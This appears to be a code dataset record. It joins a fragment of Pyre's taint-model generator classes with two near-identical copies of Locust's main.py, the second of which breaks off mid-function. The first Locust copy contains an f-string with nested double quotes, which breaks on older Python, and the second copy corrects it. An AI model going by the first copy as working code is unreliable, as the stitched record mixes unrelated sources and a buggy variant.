callable_name = self._get_fully_qualified_callable_name()
# Object construction should fail if any child class passes in a None.
if not callable_name or "-" in callable_name:
raise ValueError("The callable is not supported")
self.callable_name = callable_name
self.parameters = self._generate_parameters()
@abc.abstractmethod
def _generate_parameters(self) -> List["Parameter"]:
...
@abc.abstractmethod
def _get_fully_qualified_callable_name(self) -> Optional[str]:
...
def __str__(self) -> str:
serialized_parameters = []
name_whitelist = self.whitelist.parameter_name
type_whitelist = self.whitelist.parameter_type
for parameter in self.parameters:
should_annotate = True
if name_whitelist is not None and parameter.name in name_whitelist:
should_annotate = False
if type_whitelist is not None and parameter.annotation in type_whitelist:
should_annotate = False
if should_annotate:
parameter_annotation = self.annotations.parameter_annotation
if parameter_annotation is not None:
taint = parameter_annotation.get(parameter)
else:
taint = None
else:
taint = None
# * parameters indicate kwargs after the parameter position, and can't be
# tainted. Example: `def foo(x, *, y): ...`
if parameter.name != "*" and taint:
serialized_parameters.append(f"{parameter.name}: {taint}")
else:
serialized_parameters.append(parameter.name)
returns = self.annotations.returns
if returns:
return_annotation = f" -> {returns}"
else:
return_annotation = ""
return (
f"def {self.callable_name}({', '.join(serialized_parameters)})"
f"{return_annotation}: ..."
)
def __eq__(self, other: object) -> bool:
if not isinstance(other, RawCallableModel):
return False
return (
self.callable_name == other.callable_name
and self.parameters == other.parameters
)
# Need to explicitly define this(despite baseclass) as we are overriding eq
def __hash__(self) -> int:
parameter_names_string = ",".join(
map(
lambda parameter: f"{parameter.name}:{parameter.annotation}"
if parameter.annotation
else f"{parameter.name}:_empty",
self.parameters,
)
)
return hash((self.callable_name, parameter_names_string))
class CallableModel(RawCallableModel):
callable_object: Callable[..., object]
def __init__(
self,
callable_object: Callable[..., object],
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.callable_object = callable_object
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
def _generate_parameters(self) -> List[Parameter]:
return extract_parameters(self.callable_object)
def _get_fully_qualified_callable_name(self) -> Optional[str]:
return extract_qualified_name(self.callable_object)
class FunctionDefinitionModel(RawCallableModel):
definition: FunctionDefinition
qualifier: Optional[str] = None
def __init__(
self,
definition: FunctionDefinition,
qualifier: Optional[str] = None,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.definition = definition
self.qualifier = qualifier
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
@staticmethod
def _get_annotation(ast_arg: ast.arg) -> Optional[str]:
annotation = ast_arg.annotation
if annotation and isinstance(annotation, _ast.Name):
return annotation.id
else:
return None
def _generate_parameters(self) -> List[Parameter]:
parameters: List[Parameter] = []
function_arguments = self.definition.args
for ast_arg in function_arguments.args:
parameters.append(
Parameter(
ast_arg.arg,
FunctionDefinitionModel._get_annotation(ast_arg),
Parameter.Kind.ARG,
)
)
keyword_only_parameters = function_arguments.kwonlyargs
if len(keyword_only_parameters) > 0:
parameters.append(
Parameter(name="*", annotation=None, kind=Parameter.Kind.ARG)
)
for parameter in keyword_only_parameters:
parameters.append(
Parameter(
parameter.arg,
FunctionDefinitionModel._get_annotation(parameter),
Parameter.Kind.ARG,
)
)
vararg_parameters = function_arguments.vararg
if isinstance(vararg_parameters, ast.arg):
parameters.append(
Parameter(
f"*{vararg_parameters.arg}",
FunctionDefinitionModel._get_annotation(vararg_parameters),
Parameter.Kind.VARARG,
)
)
kwarg_parameters = function_arguments.kwarg
if isinstance(kwarg_parameters, ast.arg):
parameters.append(
Parameter(
f"**{kwarg_parameters.arg}",
FunctionDefinitionModel._get_annotation(kwarg_parameters),
Parameter.Kind.KWARG,
)
)
return parameters
def _get_fully_qualified_callable_name(self) -> Optional[str]:
qualifier = f"{self.qualifier}." if self.qualifier else ""
fn_name = self.definition.name
return qualifier + fn_name
class PyreFunctionDefinitionModel(RawCallableModel):
definition: query.Define
def __init__(
self,
definition: query.Define,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.definition = definition
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
def _generate_parameters(self) -> List[Parameter]:
parameters: List[Parameter] = []
for parameter in self.definition.parameters:
if "**" in parameter.name:
kind = Parameter.Kind.KWARG
elif "*" in parameter.name:
kind = Parameter.Kind.VARARG
else:
kind = Parameter.Kind.ARG
parameters.append(
Parameter(
name=parameter.name, annotation=parameter.annotation, kind=kind
)
)
return parameters
def _get_fully_qualified_callable_name(self) -> Optional[str]:
return self.definition.name
class AssignmentModel(Model):
annotation: str
target: str
def __init__(self, annotation: str, target: str) -> None:
if "-" in target:
raise ValueError("The target is not supported")
self.annotation = annotation
self.target = target
def __str__(self) -> str:
return f"{self.target}: {self.annotation} = ..."
def __eq__(self, other: object) -> bool:
if not isinstance(other, AssignmentModel):
return False
return self.target == other.target
def __hash__(self) -> int:
return hash(self.target)
class ClassModel(Model):
class_name: str
annotation: str
def __init__(self, class_name: str, annotation: str) -> None:
self.class_name = class_name
self.annotation = annotation
def __str__(self) -> str:
return f"class {self.class_name}({self.annotation}): ..."
def __eq__(self, other: object) -> bool:
if not isinstance(other, ClassModel):
return False
return self.class_name == other.class_name
def __hash__(self) -> int:
return hash(self.class_name)
class PropertyModel(Model):
def __init__(self, class_name: str, attribute_name: str, annotation: str) -> None:
self.class_name = class_name
self.attribute_name = attribute_name
self.annotation = annotation
def __str__(self) -> str:
return f"@property\ndef {self.class_name}.{self.attribute_name}(self) -> {self.annotation}: ..." # noqa B950
def __eq__(self, other: object) -> bool:
if not isinstance(other, PropertyModel):
return False
return (
self.class_name == other.class_name
and self.attribute_name == other.attribute_name
)
def __hash__(self) -> int:
return hash((self.class_name, self.attribute_name))
|
import inspect
import logging
import os
import importlib
import signal
import socket
import sys
import time
import atexit
import gevent
import locust
from . import log
from .argument_parser import parse_locustfile_option, parse_options
from .env import Environment
from .log import setup_logging, greenlet_exception_logger
from . import stats
from .stats import print_error_report, print_percentile_stats, print_stats, stats_printer, stats_history
from .stats import StatsCSV, StatsCSVFileWriter
from .user import User
from .user.inspectuser import print_task_ratio, print_task_ratio_json
from .util.timespan import parse_timespan
from .exception import AuthCredentialsError
from .shape import LoadTestShape
from .input_events import input_listener
from .html import get_html_report
from json import dumps
version = locust.__version__
def is_user_class(item):
"""
Check if a variable is a runnable (non-abstract) User class
"""
return bool(inspect.isclass(item) and issubclass(item, User) and item.abstract is False)
def is_shape_class(item):
"""
Check if a class is a LoadTestShape
"""
return bool(
inspect.isclass(item) and issubclass(item, LoadTestShape) and item.__dict__["__module__"] != "locust.shape"
)
def load_locustfile(path):
"""
Import given locustfile path and return (docstring, callables).
Specifically, the locustfile's ``__doc__`` attribute (a string) and a
dictionary of ``{'name': callable}`` containing all callables which pass
the "is a Locust" test.
"""
# Start with making sure the current working dir is in the sys.path
sys.path.insert(0, os.getcwd())
# Get directory and locustfile name
directory, locustfile = os.path.split(path)
# If the directory isn't in the PYTHONPATH, add it so our import will work
added_to_path = False
index = None
if directory not in sys.path:
sys.path.insert(0, directory)
added_to_path = True
# If the directory IS in the PYTHONPATH, move it to the front temporarily,
# otherwise other locustfiles -- like Locusts's own -- may scoop the intended
# one.
else:
i = sys.path.index(directory)
if i != 0:
# Store index for later restoration
index = i
# Add to front, then remove from original position
sys.path.insert(0, directory)
del sys.path[i + 1]
# Perform the import
source = importlib.machinery.SourceFileLoader(os.path.splitext(locustfile)[0], path)
imported = source.load_module()
# Remove directory from path if we added it ourselves (just to be neat)
if added_to_path:
del sys.path[0]
# Put back in original index if we moved it
if index is not None:
sys.path.insert(index + 1, directory)
del sys.path[0]
# Return our two-tuple
user_classes = {name: value for name, value in vars(imported).items() if is_user_class(value)}
# Find shape class, if any, return it
shape_classes = [value for name, value in vars(imported).items() if is_shape_class(value)]
if shape_classes:
shape_class = shape_classes[0]()
else:
shape_class = None
return imported.__doc__, user_classes, shape_class
def create_environment(user_classes, options, events=None, shape_class=None, locustfile=None):
"""
Create an Environment instance from options
"""
return Environment(
locustfile=locustfile,
user_classes=user_classes,
shape_class=shape_class,
events=events,
host=options.host,
reset_stats=options.reset_stats,
stop_timeout=options.stop_timeout,
parsed_options=options,
)
def main():
# find specified locustfile and make sure it exists, using a very simplified
# command line parser that is only used to parse the -f option
locustfile = parse_locustfile_option()
# import the locustfile
docstring, user_classes, shape_class = load_locustfile(locustfile)
# parse all command line options
options = parse_options()
if options.headful:
options.headless = False
if options.slave or options.expect_slaves:
sys.stderr.write("The --slave/--expect-slaves parameters have been renamed --worker/--expect-workers\n")
sys.exit(1)
if options.autoquit != -1 and not options.autostart:
sys.stderr.write("--autoquit is only meaningful in combination with --autostart\n")
sys.exit(1)
if options.step_time or options.step_load or options.step_users or options.step_clients:
sys.stderr.write(
"The step load feature was removed in Locust 1.3. You can achieve similar results using a LoadTestShape class. See https://docs.locust.io/en/stable/custom-load-shape.html\n"
)
sys.exit(1)
if options.hatch_rate:
sys.stderr.write("[DEPRECATED] The --hatch-rate parameter has been renamed --spawn-rate\n")
options.spawn_rate = options.hatch_rate
# setup logging
if not options.skip_log_setup:
if options.loglevel.upper() in ["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"]:
setup_logging(options.loglevel, options.logfile)
else:
sys.stderr.write("Invalid --loglevel. Valid values are: DEBUG/INFO/WARNING/ERROR/CRITICAL\n")
sys.exit(1)
logger = logging.getLogger(__name__)
greenlet_exception_handler = greenlet_exception_logger(logger)
if options.list_commands:
print("Available Users:")
for name in user_classes:
print(" " + name)
sys.exit(0)
if not user_classes:
logger.error("No User class found!")
sys.exit(1)
# make sure specified User exists
if options.user_classes:
missing = set(options.user_classes) - set(user_classes.keys())
if missing:
logger.error(f"Unknown User(s): {", ".join(missing)}\n")
sys.exit(1)
else:
names = set(options.user_classes) & set(user_classes.keys())
user_classes = [user_classes[n] for n in names]
else:
# list() call is needed to consume the dict_view object in Python 3
user_classes = list(user_classes.values())
if os.name != "nt" and not options.master:
try:
import resource
minimum_open_file_limit = 10000
current_open_file_limit = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
if current_open_file_limit < minimum_open_file_limit:
# Increasing the limit to 10000 within a running process should work on at least MacOS.
# It does not work on all OS:es, but we should be no worse off for trying.
resource.setrlimit(resource.RLIMIT_NOFILE, [minimum_open_file_limit, resource.RLIM_INFINITY])
except BaseException:
logger.warning(
f"""System open file limit '{current_open_file_limit}' is below minimum setting '{minimum_open_file_limit}'.
It's not high enough for load testing, and the OS didn't allow locust to increase it by itself.
See https://github.com/locustio/locust/wiki/Installation#increasing-maximum-number-of-open-files-limit for more info."""
)
# create locust Environment
environment = create_environment(
user_classes, options, events=locust.events, shape_class=shape_class, locustfile=os.path.basename(locustfile)
)
if shape_class and (options.num_users or options.spawn_rate):
logger.warning(
"The specified locustfile contains a shape class but a conflicting argument was specified: users or spawn-rate. Ignoring arguments"
)
if options.show_task_ratio:
print("\n Task ratio per User class")
print("-" * 80)
print_task_ratio(user_classes, options.num_users, False)
print("\n Total task ratio")
print("-" * 80)
print_task_ratio(user_classes, options.num_users, True)
sys.exit(0)
if options.show_task_ratio_json:
print_task_ratio_json(user_classes, options.num_users)
sys.exit(0)
if options.master:
if options.worker:
logger.error("The --master argument cannot be combined with --worker")
sys.exit(-1)
runner = environment.create_master_runner(
master_bind_host=options.master_bind_host,
master_bind_port=options.master_bind_port,
)
elif options.worker:
try:
runner = environment.create_worker_runner(options.master_host, options.master_port)
logger.debug("Connected to locust master: %s:%s", options.master_host, options.master_port)
except OSError as e:
logger.error("Failed to connect to the Locust master: %s", e)
sys.exit(-1)
else:
runner = environment.create_local_runner()
# main_greenlet is pointing to runners.greenlet by default, it will point the web greenlet later if in web mode
main_greenlet = runner.greenlet
if options.run_time:
if options.worker:
logger.error("--run-time should be specified on the master node, and not on worker nodes")
sys.exit(1)
try:
options.run_time = parse_timespan(options.run_time)
except ValueError:
logger.error("Valid --run-time formats are: 20, 20s, 3m, 2h, 1h20m, 3h30m10s, etc.")
sys.exit(1)
if options.csv_prefix:
stats_csv_writer = StatsCSVFileWriter(
environment, stats.PERCENTILES_TO_REPORT, options.csv_prefix, options.stats_history_enabled
)
else:
stats_csv_writer = StatsCSV(environment, stats.PERCENTILES_TO_REPORT)
# start Web UI
if not options.headless and not options.worker:
# spawn web greenlet
protocol = "https" if options.tls_cert and options.tls_key else "http"
try:
if options.web_host == "*":
# special check for "*" so that we're consistent with --master-bind-host
web_host = ""
else:
web_host = options.web_host
if web_host:
logger.info(f"Starting web interface at {protocol}://{web_host}:{options.web_port}")
else:
logger.info(
"Starting web interface at %s://0.0.0.0:%s (accepting connections from all network interfaces)"
% (protocol, options.web_port)
)
web_ui = environment.create_web_ui(
host=web_host,
port=options.web_port,
auth_credentials=options.web_auth,
tls_cert=options.tls_cert,
tls_key=options.tls_key,
stats_csv_writer=stats_csv_writer,
delayed_start=True,
)
except AuthCredentialsError:
logger.error("Credentials supplied with --web-auth should have the format: username:password")
sys.exit(1)
else:
if options.autostart:
logger.warning("Option --autostart is ignored for headless mode and worker process.")
web_ui = None
def assign_equal_weights(environment, **kwargs):
environment.assign_equal_weights()
if options.equal_weights:
environment.events.init.add_listener(assign_equal_weights)
# Fire locust init event which can be used by end-users' code to run setup code that
# need access to the Environment, Runner or WebUI.
environment.events.init.fire(environment=environment, runner=runner, web_ui=web_ui)
if web_ui:
web_ui.start()
main_greenlet = web_ui.greenlet
def stop_and_optionally_quit():
if options.autostart:
logger.info("--run-time limit reached, stopping test")
runner.stop()
if options.autoquit != -1:
logger.debug(f"Autoquit time limit set to {options.autoquit} seconds")
time.sleep(options.autoquit)
logger.info("--autoquit time reached, shutting down")
runner.quit()
if web_ui:
web_ui.stop()
else:
logger.info("--autoquit not specified, leaving web ui running indefinitely")
else: # --headless run
logger.info("--run-time limit reached. Stopping Locust")
runner.quit()
def spawn_run_time_quit_greenlet():
gevent.spawn_later(options.run_time, stop_and_optionally_quit).link_exception(greenlet_exception_handler)
headless_master_greenlet = None
stats_printer_greenlet = None
if not options.only_summary and (options.print_stats or (options.headless and not options.worker)):
# spawn stats printing greenlet
stats_printer_greenlet = gevent.spawn(stats_printer(runner.stats))
stats_printer_greenlet.link_exception(greenlet_exception_handler)
gevent.spawn(stats_history, runner)
def start_automatic_run():
if options.master:
# wait for worker nodes to connect
start_time = time.monotonic()
while len(runner.clients.ready) < options.expect_workers:
if options.expect_workers_max_wait and options.expect_workers_max_wait < time.monotonic() - start_time:
logger.error("Gave up waiting for workers to connect.")
runner.quit()
sys.exit(1)
logging.info(
"Waiting for workers to be ready, %s of %s connected",
len(runner.clients.ready),
options.expect_workers,
)
# TODO: Handle KeyboardInterrupt and send quit signal to workers that are started.
# Right now, if the user sends a ctrl+c, the master will not gracefully
# shutdown resulting in all the already started workers to stay active.
time.sleep(1)
if not options.worker:
# apply headless mode defaults
if options.num_users is None:
options.num_users = 1
if options.spawn_rate is None:
options.spawn_rate = 1
# start the test
if environment.shape_class:
if options.run_time:
sys.stderr.write("It makes no sense to combine --run-time and LoadShapes. Bailing out.\n")
sys.exit(1)
environment.runner.start_shape()
environment.runner.shape_greenlet.join()
stop_and_optionally_quit()
else:
headless_master_greenlet = gevent.spawn(runner.start, options.num_users, options.spawn_rate)
headless_master_greenlet.link_exception(greenlet_exception_handler)
if options.run_time:
logger.info(f"Run time limit set to {options.run_time} seconds")
spawn_run_time_quit_greenlet()
elif not options.worker and not environment.shape_class:
logger.info("No run time limit set, use CTRL+C to interrupt")
if options.headless:
start_automatic_run()
input_listener_greenlet = None
if not options.worker:
# spawn input listener greenlet
input_listener_greenlet = gevent.spawn(
input_listener(
{
"w": lambda: runner.start(runner.user_count + 1, 100)
if runner.state != "spawning"
else logging.warning("Already spawning users, can't spawn more right now"),
"W": lambda: runner.start(runner.user_count + 10, 100)
if runner.state != "spawning"
else logging.warning("Already spawning users, can't spawn more right now"),
"s": lambda: runner.start(max(0, runner.user_count - 1), 100)
if runner.state != "spawning"
else logging.warning("Spawning users, can't stop right now"),
"S": lambda: runner.start(max(0, runner.user_count - 10), 100)
if runner.state != "spawning"
else logging.warning("Spawning users, can't stop right now"),
},
)
)
input_listener_greenlet.link_exception(greenlet_exception_handler)
# ensure terminal is reset, even if there is an unhandled exception in locust or someone
# does something wild, like calling sys.exit() in the locustfile
atexit.register(input_listener_greenlet.kill, block=True)
if options.csv_prefix:
gevent.spawn(stats_csv_writer.stats_writer).link_exception(greenlet_exception_handler)
def shutdown():
"""
Shut down locust by firing quitting event, printing/writing stats and exiting
"""
logger.debug("Running teardowns...")
if input_listener_greenlet is not None:
input_listener_greenlet.kill(block=False)
environment.events.quitting.fire(environment=environment, reverse=True)
# determine the process exit code
if log.unhandled_greenlet_exception:
code = 2
elif environment.process_exit_code is not None:
code = environment.process_exit_code
elif len(runner.errors) or len(runner.exceptions):
code = options.exit_code_on_error
else:
code = 0
logger.info(f"Shutting down (exit code {code})")
if stats_printer_greenlet is not None:
stats_printer_greenlet.kill(block=False)
if headless_master_greenlet is not None:
headless_master_greenlet.kill(block=False)
logger.debug("Cleaning up runner...")
if runner is not None:
runner.quit()
if not isinstance(runner, locust.runners.WorkerRunner):
print_stats(runner.stats, current=False)
print_percentile_stats(runner.stats)
print_error_report(runner.stats)
sys.exit(code)
# install SIGTERM handler
def sig_term_handler():
logger.info("Got SIGTERM signal")
shutdown()
def save_html_report():
html_report = get_html_report(environment, show_download_link=False)
logger.info("writing html report to file: %s", options.html_file)
with open(options.html_file, "w", encoding="utf-8") as file:
file.write(html_report)
gevent.signal_handler(signal.SIGTERM, sig_term_handler)
try:
logger.info(f"Starting Locust {version}")
if options.autostart:
start_automatic_run()
main_greenlet.join()
if options.html_file:
save_html_report()
except KeyboardInterrupt:
if options.html_file:
save_html_report()
except Exception:
raise
shutdown()
| import inspect
import logging
import os
import importlib
import signal
import socket
import sys
import time
import atexit
import gevent
import locust
from . import log
from .argument_parser import parse_locustfile_option, parse_options
from .env import Environment
from .log import setup_logging, greenlet_exception_logger
from . import stats
from .stats import print_error_report, print_percentile_stats, print_stats, stats_printer, stats_history
from .stats import StatsCSV, StatsCSVFileWriter
from .user import User
from .user.inspectuser import print_task_ratio, print_task_ratio_json
from .util.timespan import parse_timespan
from .exception import AuthCredentialsError
from .shape import LoadTestShape
from .input_events import input_listener
from .html import get_html_report
from json import dumps
version = locust.__version__
def is_user_class(item):
"""
Check if a variable is a runnable (non-abstract) User class
"""
return bool(inspect.isclass(item) and issubclass(item, User) and item.abstract is False)
def is_shape_class(item):
"""
Check if a class is a LoadTestShape
"""
return bool(
inspect.isclass(item) and issubclass(item, LoadTestShape) and item.__dict__["__module__"] != "locust.shape"
)
def load_locustfile(path):
"""
Import given locustfile path and return (docstring, callables).
Specifically, the locustfile's ``__doc__`` attribute (a string) and a
dictionary of ``{'name': callable}`` containing all callables which pass
the "is a Locust" test.
"""
# Start with making sure the current working dir is in the sys.path
sys.path.insert(0, os.getcwd())
# Get directory and locustfile name
directory, locustfile = os.path.split(path)
# If the directory isn't in the PYTHONPATH, add it so our import will work
added_to_path = False
index = None
if directory not in sys.path:
sys.path.insert(0, directory)
added_to_path = True
# If the directory IS in the PYTHONPATH, move it to the front temporarily,
# otherwise other locustfiles -- like Locusts's own -- may scoop the intended
# one.
else:
i = sys.path.index(directory)
if i != 0:
# Store index for later restoration
index = i
# Add to front, then remove from original position
sys.path.insert(0, directory)
del sys.path[i + 1]
# Perform the import
source = importlib.machinery.SourceFileLoader(os.path.splitext(locustfile)[0], path)
imported = source.load_module()
# Remove directory from path if we added it ourselves (just to be neat)
if added_to_path:
del sys.path[0]
# Put back in original index if we moved it
if index is not None:
sys.path.insert(index + 1, directory)
del sys.path[0]
# Return our two-tuple
user_classes = {name: value for name, value in vars(imported).items() if is_user_class(value)}
# Find shape class, if any, return it
shape_classes = [value for name, value in vars(imported).items() if is_shape_class(value)]
if shape_classes:
shape_class = shape_classes[0]()
else:
shape_class = None
return imported.__doc__, user_classes, shape_class
def create_environment(user_classes, options, events=None, shape_class=None, locustfile=None):
"""
Create an Environment instance from options
"""
return Environment(
locustfile=locustfile,
user_classes=user_classes,
shape_class=shape_class,
events=events,
host=options.host,
reset_stats=options.reset_stats,
stop_timeout=options.stop_timeout,
parsed_options=options,
)
def main():
# find specified locustfile and make sure it exists, using a very simplified
# command line parser that is only used to parse the -f option
locustfile = parse_locustfile_option()
# import the locustfile
docstring, user_classes, shape_class = load_locustfile(locustfile)
# parse all command line options
options = parse_options()
if options.headful:
options.headless = False
if options.slave or options.expect_slaves:
sys.stderr.write("The --slave/--expect-slaves parameters have been renamed --worker/--expect-workers\n")
sys.exit(1)
if options.autoquit != -1 and not options.autostart:
sys.stderr.write("--autoquit is only meaningful in combination with --autostart\n")
sys.exit(1)
if options.step_time or options.step_load or options.step_users or options.step_clients:
sys.stderr.write(
"The step load feature was removed in Locust 1.3. You can achieve similar results using a LoadTestShape class. See https://docs.locust.io/en/stable/custom-load-shape.html\n"
)
sys.exit(1)
if options.hatch_rate:
sys.stderr.write("[DEPRECATED] The --hatch-rate parameter has been renamed --spawn-rate\n")
options.spawn_rate = options.hatch_rate
# setup logging
if not options.skip_log_setup:
if options.loglevel.upper() in ["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"]:
setup_logging(options.loglevel, options.logfile)
else:
sys.stderr.write("Invalid --loglevel. Valid values are: DEBUG/INFO/WARNING/ERROR/CRITICAL\n")
sys.exit(1)
logger = logging.getLogger(__name__)
greenlet_exception_handler = greenlet_exception_logger(logger)
if options.list_commands:
print("Available Users:")
for name in user_classes:
print(" " + name)
sys.exit(0)
if not user_classes:
logger.error("No User class found!")
sys.exit(1)
# make sure specified User exists
if options.user_classes:
missing = set(options.user_classes) - set(user_classes.keys())
if missing:
logger.error(f"Unknown User(s): {', '.join(missing)}\n")
sys.exit(1)
else:
names = set(options.user_classes) & set(user_classes.keys())
user_classes = [user_classes[n] for n in names]
else:
# list() call is needed to consume the dict_view object in Python 3
user_classes = list(user_classes.values())
if os.name != "nt" and not options.master:
try:
import resource
minimum_open_file_limit = 10000
current_open_file_limit = resource.getrlimit(resource.RLIMIT_NOFILE)[0]
if current_open_file_limit < minimum_open_file_limit:
# Increasing the limit to 10000 within a running process should work on at least MacOS.
# It does not work on all OS:es, but we should be no worse off for trying.
resource.setrlimit(resource.RLIMIT_NOFILE, [minimum_open_file_limit, resource.RLIM_INFINITY])
except BaseException:
logger.warning(
f"""System open file limit '{current_open_file_limit}' is below minimum setting '{minimum_open_file_limit}'.
It's not high enough for load testing, and the OS didn't allow locust to increase it by itself.
See https://github.com/locustio/locust/wiki/Installation#increasing-maximum-number-of-open-files-limit for more info."""
)
# create locust Environment
environment = create_environment(
user_classes, options, events=locust.events, shape_class=shape_class, locustfile=os.path.basename(locustfile)
)
if shape_class and (options.num_users or options.spawn_rate):
logger.warning(
"The specified locustfile contains a shape class but a conflicting argument was specified: users or spawn-rate. Ignoring arguments"
)
if options.show_task_ratio:
print("\n Task ratio per User class")
print("-" * 80)
print_task_ratio(user_classes, options.num_users, False)
print("\n Total task ratio")
print("-" * 80)
print_task_ratio(user_classes, options.num_users, True)
sys.exit(0)
if options.show_task_ratio_json:
print_task_ratio_json(user_classes, options.num_users)
sys.exit(0)
if options.master:
if options.worker:
logger.error("The --master argument cannot be combined with --worker")
sys.exit(-1)
runner = environment.create_master_runner(
master_bind_host=options.master_bind_host,
master_bind_port=options.master_bind_port,
)
elif options.worker:
try:
runner = environment.create_worker_runner(options.master_host, options.master_port)
logger.debug("Connected to locust master: %s:%s", options.master_host, options.master_port)
except OSError as e:
logger.error("Failed to connect to the Locust master: %s", e)
sys.exit(-1)
else:
runner = environment.create_local_runner()
# main_greenlet is pointing to runners.greenlet by default, it will point the web greenlet later if in web mode
main_greenlet = runner.greenlet
if options.run_time:
if options.worker:
logger.error("--run-time should be specified on the master node, and not on worker nodes")
sys.exit(1)
try:
options.run_time = parse_timespan(options.run_time)
except ValueError:
logger.error("Valid --run-time formats are: 20, 20s, 3m, 2h, 1h20m, 3h30m10s, etc.")
sys.exit(1)
if options.csv_prefix:
stats_csv_writer = StatsCSVFileWriter(
environment, stats.PERCENTILES_TO_REPORT, options.csv_prefix, options.stats_history_enabled
)
else:
stats_csv_writer = StatsCSV(environment, stats.PERCENTILES_TO_REPORT)
# start Web UI
if not options.headless and not options.worker:
# spawn web greenlet
protocol = "https" if options.tls_cert and options.tls_key else "http"
try:
if options.web_host == "*":
# special check for "*" so that we're consistent with --master-bind-host
web_host = ""
else:
web_host = options.web_host
if web_host:
logger.info(f"Starting web interface at {protocol}://{web_host}:{options.web_port}")
else:
logger.info(
"Starting web interface at %s://0.0.0.0:%s (accepting connections from all network interfaces)"
% (protocol, options.web_port)
)
web_ui = environment.create_web_ui(
host=web_host,
port=options.web_port,
auth_credentials=options.web_auth,
tls_cert=options.tls_cert,
tls_key=options.tls_key,
stats_csv_writer=stats_csv_writer,
delayed_start=True,
)
except AuthCredentialsError:
logger.error("Credentials supplied with --web-auth should have the format: username:password")
sys.exit(1)
else:
if options.autostart:
logger.warning("Option --autostart is ignored for headless mode and worker process.")
web_ui = None
def assign_equal_weights(environment, **kwargs):
environment.assign_equal_weights()
if options.equal_weights:
environment.events.init.add_listener(assign_equal_weights)
# Fire locust init event which can be used by end-users' code to run setup code that
# need access to the Environment, Runner or WebUI.
environment.events.init.fire(environment=environment, runner=runner, web_ui=web_ui)
if web_ui:
web_ui.start()
main_greenlet = web_ui.greenlet
def stop_and_optionally_quit():
if options.autostart:
logger.info("--run-time limit reached, stopping test")
runner.stop()
if options.autoquit != -1:
logger.debug(f"Autoquit time limit set to {options.autoquit} seconds")
time.sleep(options.autoquit)
logger.info("--autoquit time reached, shutting down")
runner.quit()
if web_ui:
web_ui.stop()
else:
logger.info("--autoquit not specified, leaving web ui running indefinitely")
else: # --headless run
logger.info("--run-time limit reached. Stopping Locust")
runner.quit()
def spawn_run_time_quit_greenlet():
gevent.spawn_later(options.run_time, stop_and_optionally_quit).link_exception(greenlet_exception_handler)
headless_master_greenlet = None
stats_printer_greenlet = None
if not options.only_summary and (options.print_stats or (options.headless and not options.worker)):
# spawn stats printing greenlet
stats_printer_greenlet = gevent.spawn(stats_printer(runner.stats))
stats_printer_greenlet.link_exception(greenlet_exception_handler)
gevent.spawn(stats_history, runner)
def start_automatic_run():
if options.master:
# wait for worker nodes to connect
start_time = time.monotonic()
while len(runner.clients.ready) < options.expect_workers:
if options.expect_workers_max_wait and options.expect_workers_max_wait < time.monotonic() - start_time:
logger.error("Gave up waiting for workers to connect.")
runner.quit()
sys.exit(1)
logging.info(
"Waiting for workers to be ready, %s of %s connected",
len(runner.clients.ready),
options.expect_workers,
)
# TODO: Handle KeyboardInterrupt and send quit signal to workers that are started.
# Right now, if the user sends a ctrl+c, the master will not gracefully
# shutdown resulting in all the already started workers to stay active.
time.sleep(1)
if not options.worker:
# apply headless mode defaults
if options.num_users is None:
options.num_users = 1
if options.spawn_rate is None:
options.spawn_rate = 1
# start the test
if environment.shape_class:
if options.run_time:
sys.stderr.write("It makes no sense to combine --run-time and LoadShapes. Bailing out.\n")
sys.exit(1)
environment.runner.start_shape()
environment.runner.shape_greenlet.join()
stop_and_optionally_quit()
else:
headless_master_greenlet = gevent.spawn(runner.start, options.num_users, options.spawn_rate)
headless_master_greenlet.link_exception(greenlet_exception_handler)
if options.run_time:
logger.info(f"Run time limit set to {options.run_time} seconds")
spawn_run_time_quit_greenlet()
elif not options.worker and not environment.shape_class:
logger.info("No run time limit set, use CTRL+C to interrupt")
if options.headless:
start_automatic_run()
input_listener_greenlet = None
if not options.worker:
# spawn input listener greenlet
input_listener_greenlet = gevent.spawn(
input_listener(
{
"w": lambda: runner.start(runner.user_count + 1, 100)
if runner.state != "spawning"
else logging.warning("Already spawning users, can't spawn more right now"),
"W": lambda: runner.start(runner.user_count + 10, 100)
if runner.state != "spawning"
else logging.warning("Already spawning users, can't spawn more right now"),
"s": lambda: runner.start(max(0, runner.user_count - 1), 100)
if runner.state != "spawning"
else logging.warning("Spawning users, can't stop right now"),
"S": lambda: runner.start(max(0, runner.user_count - 10), 100)
if runner.state != "spawning"
else logging.warning("Spawning users, can't stop right now"),
},
)
)
input_listener_greenlet.link_exception(greenlet_exception_handler)
# ensure terminal is reset, even if there is an unhandled exception in locust or someone
# does something wild, like calling sys.exit() in the locustfile
atexit.register(input_listener_greenlet.kill, block=True)
if options.csv_prefix:
gevent.spawn(stats_csv_writer.stats_writer).link_exception(greenlet_exception_handler)
def shutdown():
"""
Shut down locust by firing quitting event, printing/writing stats and exiting
"""
logger.debug("Running teardowns...")
if input_listener_greenlet is not None:
input_listener_greenlet.kill(block=False)
